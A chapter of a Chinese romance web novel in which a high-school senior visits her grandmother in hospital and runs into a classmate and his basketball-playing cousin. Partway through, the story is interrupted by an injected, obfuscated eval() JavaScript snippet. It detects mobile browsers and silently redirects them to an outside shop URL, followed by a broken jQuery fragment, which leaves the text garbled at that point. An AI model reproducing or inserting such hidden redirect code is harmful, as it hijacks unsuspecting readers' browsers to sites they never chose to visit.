日照时间越来越长,暴雨都卷不去半分暑热。窗子开着,闻竹在窗前的书桌上写卷子,一抬眼就看到窗外的小飞虫在纱窗附近盘旋来去,夏日的蝉鸣嘶哑悠长。
这种蝉鸣声在不同的时候听起来是不一样的,大多数时候闻竹比较享受这种大自然的白噪音,但做不出题的时候,她只希望自己能暂时性失聪。
熬过下周的期末考试,他们苦命的高三生就可以放暑假了。这次期末考试是他们这一届学生第一次按照高考的模式考理综,闻竹紧张得很。
她物化生三科的成绩不给她拖后腿,却也没给她任何优势。她在成绩上很较真,觉得和有优势的那些人相比之下,这已经是她的劣势了。
手机在桌面上震动的声音传来,打断了闻竹画辅助线的动作。闻竹没看亮起的屏幕,因而不知道是谁来电话,她好不容易有了点思路,想试着先把题做出来。半分钟后,铃声又响起来。
有种桌面都在震动的错觉,她只好把电话接起,叫了声“妈”。
“竹子?”闻竹很少听到她妈妈语气这么匆忙焦急,“你奶奶刚才摔着了,现在在医院,你过去一趟?你爸爸出差得明早才能回来。”
电话那头窸窸窣窣的声音,有个年轻一些的女声叫了声“陈姐”,陈青把话筒拿得远了些,匆忙回了两句话。再之后,话筒里的声音从风声变回了有些急促的呼吸声。
闻竹说“好”,她一面起身换衣服一面说,“我知道了,妈,你把病房号发给我,我很快就到。”
之后她简单收拾了书包,背上就出了门。下楼时叫的车正好和她一起到小区门口,闻竹开门上车,想起了她妈妈之前和她说过的话。
陈青很小的时候她妈妈就生病去世了,在认识闻兴阳之后,竟然在闻竹她奶奶那里享受到了类似于母爱的感情,陈青甚至开玩笑似的说过当初嫁给她爸爸是因为她奶奶这种话。闻竹她爷爷本来就是脾气古怪的人,又只有闻兴阳这么一个儿子,陈青生了两个女儿,一直不受他待见。
闻竹一直知道这回事,对她爷爷奶奶不亲近。
她其实知道陈青把她奶奶当成自己母亲那样,但那种好没有落在自己身上,即便知道应该和独自一人的奶奶亲近些,一时半会也不能移情。
陈青也不会从她的角度去和闻竹说这些,她知道人和人之间的任何感情都是需要缘分的,闻竹把属于她的感情倾注给谁不是她应该决定的事情。
闻竹下了车直奔病房,奶奶家的保姆张姨在陪护,闻竹来了之后她就离开了。
医生过来查房的时候奶奶已经睡了,他说了一些注意事项,闻竹听了时候一直皱着眉,有些担心。医生说摔倒不是小事,年轻人都伤筋动骨,更何况是这么大岁数的老人。
闻竹轻轻叹气,不知道是不是叹的这几口气把病床上的老人叹醒了。
“竹子,”虽说是躺在病床上,但奶奶并不老态龙钟,声音却因为病着的缘故,没平时那么掷地有声。在闻竹看过去的时候,她招招手。
闻竹会意地把椅子拉过去坐在老人身边,老人拉了下她白皙细长的手指,视线从她的手往上看到她的脸。
“你长得像你妈妈,”奶奶说了句出乎闻竹意料的话,“但是眼睛像你爸。”
她叹了口气道:“你爸就眼睛长得最好看,你还是个很会长的小姑娘呢。”
闻竹知道这是夸她好看的意思,没忍住被这幽默劲逗得笑了下,觉得她爸爸的幽默应该是在奶奶这遗传过来的。
开心得聊了两句之后,奶奶说:“竹子,你回去和你爸妈说,我自己摔倒不怪别人,他们不用觉得愧疚,也别把我接过去,老太太我自己住着,你爸你妈不上班了去看看我,这样的日子挺好的。”
这话落到闻竹耳朵里,她不知道怎么接,只好说“知道了”,她叫奶奶好好养着别想太多,答应把话传过去。
在奶奶睡着时,闻竹在旁边的矮桌上写卷子,毕雨泽在群里发了两条求助的消息。
【毕雨泽:我想你们愿意帮助我!】
【毕雨泽:图片】
闻竹打开图片,是自己刚刚做的那道数学大题。但她没做出来,也就没回话。过了两分钟,路一杭拍了张图传上去。
闻竹看到他的辅助线和自己刚才想的不一样,刚皱眉准备细看,就看到路一杭的下一条消息说他也没做出来。
毕雨泽发了个小猫失望的表情包,在群里@全体成员。
然后路一杭一声没吭地消失了,估计是被这个失望的小猫刺激到了。
【闻竹:我也不会。】
回完了却觉得不太甘心,如果再给她几分钟,没准就做出来了。
【曲思嘉:我觉得这题超纲了。】
【毕雨泽:/握手/握手/握手】
【毕雨泽:泊松人呢?】
李泊松才是平日里最配合他的,今天却一直没说话。
饮水机里的水烧开了,闻竹接满一大杯水,又往刚洗干净的玻璃杯里到了大半杯。之后手机弹出了两条消息,是李泊松的回话。他说自己在机场,至于这张卷子,根本还没动笔。
这人去机场做什么?
闻竹短暂地纠结了一会儿,而后发微信询问。
那边发了语音过来,背景音还有航班播报通知,稍显杂乱,李泊松说他到这边来接他表姐,这会儿在等人。
闻竹完全不记得李泊松什么时候有表姐,更遑论想起来是谁。奶奶睡醒了,想去卫生间,她只来得及和李泊松说明早上学不用等她,就匆匆去帮忙了。
-
有时候人和人之间的缘分也说不清楚。
闻竹在一楼的门诊大厅看到李泊松时,她心里就是这个想法。然后她又想,和李泊松的缘分怎么总是在医院?这也不太吉利啊。
李泊松在柱子那儿很闲散地靠着,腿边放了个挺漂亮的蓝色大行李箱,闻竹看他的时候他正拿着手机打字。过了会儿,她手机微信响了两声,还没来得及看,李泊松就看到了她。
他眼睛亮了下,眼神闪过了一丝惊讶,和闻竹打招呼:“过来。”
闻竹眨了下眼,一动没动:“你怎么不过来?”
他们两个离得并不远,在略显嘈杂的医院大厅里能听清对方的声音。闻竹这句话说完,李泊松就笑了。他腿边那个箱子上还放了个大托特包,他刚拎起包,闻竹就任命地朝他走过去。
李泊松又靠回了柱子边上。
明明没什么多余的表情,闻竹就是莫名觉得这人有些欠揍,好像猜到了她最后会走过去似的。
“你说明早不用等你上学,因为你晚上要待在医院吗?”他几不可察地皱了下眉,把闻竹从头到脚打量了一番,“不是你生病了吧,发生什么了?”
闻竹把眸子垂下,看着情绪不是很高:“没什么事,我奶奶住院了,我现在去给她买饭。”
果不其然,听了这话,李泊松神色更凝重了些,他问:“奶奶怎么了?”
“中午下床的时候摔着了,我来陪她。”
“嗯,”他想了想,还是说,“别太担心了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188519|137974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这话其实更像是场面话,起不到什么实际性的作用,但他只能说这些。
手机又震了一下,闻竹怕是奶奶有什么事,于是摸出来看了眼。正事没有,倒是看到了两分钟前李泊松给她发的两条语音。
“你给我发消息了啊。”她问。
“你才看到,”李泊松挑眉,“就刚才,叫你名字之前,我就拿着手机给你发消息呢。”
闻竹笑了下:“是吗?我以为你在背课文什么的。”
李泊松心说背课文他笑什么,变态吗?
“那你呢,怎么来医院了,”闻竹把话题拉回到他身上,“你说去接你表姐,哪个表姐?”
她说着,转头朝挂号的队伍里看一眼。
“我姑姑的女儿。”
闻竹想起来了。
“她是洛大篮球队的,两天后要在这边比赛,她们球队昨天已经到了,她腿伤犯了,今天才过来。”
闻竹点点头:“不要紧吧?”
“她说没事,这是老毛病了。”
就这两句话的功夫,一个高个子女孩走到了他们旁边,闻竹立刻反应过来她是谁,很礼貌地做了自我介绍。
“我是程初夏,李泊松表姐,”她指了下李泊松,而后看着闻竹,惊喜道:“你是闻竹呀!”
“啊?”闻竹觉得自己现下的反应有点傻气。
她有时候觉得自己在李泊松的朋友圈像个名人,上次他那个高中同学严禹也说了类似的话。
程初夏看出了闻竹的好奇,笑了笑。
“小时候咱们还一起玩过,你忘记啦?”
闻竹张了张嘴,更讶异了。她不好意思地笑笑。
据程初夏说,小学时有一年她家长忙,在李泊松家住过半个月,那时候闻竹和李泊松刚读二年级,闻灿还很小。
闻竹本就不太记事,那时候还不知道程初夏叫这个名字,只管她叫夏夏。李泊松大概说过程初夏是他的什么亲戚,但闻竹当时年幼,听了也就忘了。
程初夏的净身高大概有一米七多,短发非常利落干净,长相英气漂亮,看着就让闻竹心生好感。程初夏也想和她多聊几句,但这不是叙旧的地方,时间也匆忙。
她对闻竹说:“妹妹,我这周末有比赛,有时间的话欢迎你去。”
闻竹点了两下头。
“我去楼上等叫号了,你就在这等我吧,拎着箱子也不方便。”她连珠炮一样对李泊松输出了一堆,而后笑眯眯地看向闻竹,“走啦。”
“嗯,拜拜,”闻竹挺乖地答了句,而后感觉不怎么礼貌,加了句“姐”。
程初夏笑眯眯地拿着挂号单上楼了。
李泊松一直靠在那儿饶有兴趣地看着她“装乖”,一时有些怀念。在闻竹的视线看向他时,李泊松说:“你不用这样,她比我们大两岁,叫名字也没关系。”
闻竹“嗯”了声,又说:“周末我想去,我和你一起,可以吗?”
“当然,”他答应得很痛快,“我去你家楼下等你。”
说完这话后,李泊松觉得自己真是太不矜持了。他迎着闻竹的目光,手指互相蹭了一下。
闻竹毫无所觉:“我怕我今天写不完作业,明天要去学校抄一下,你能不能早一点去?”
“起不来,”他身子朝后靠了靠,故意道:“你怎么不抄别人的?”
“那好吧,”闻竹的语气都没变,表情也不见半点失落,“那我抄路一杭的好了。”
“哎你……”李泊松站直了些,迅速改口:“你几点到?”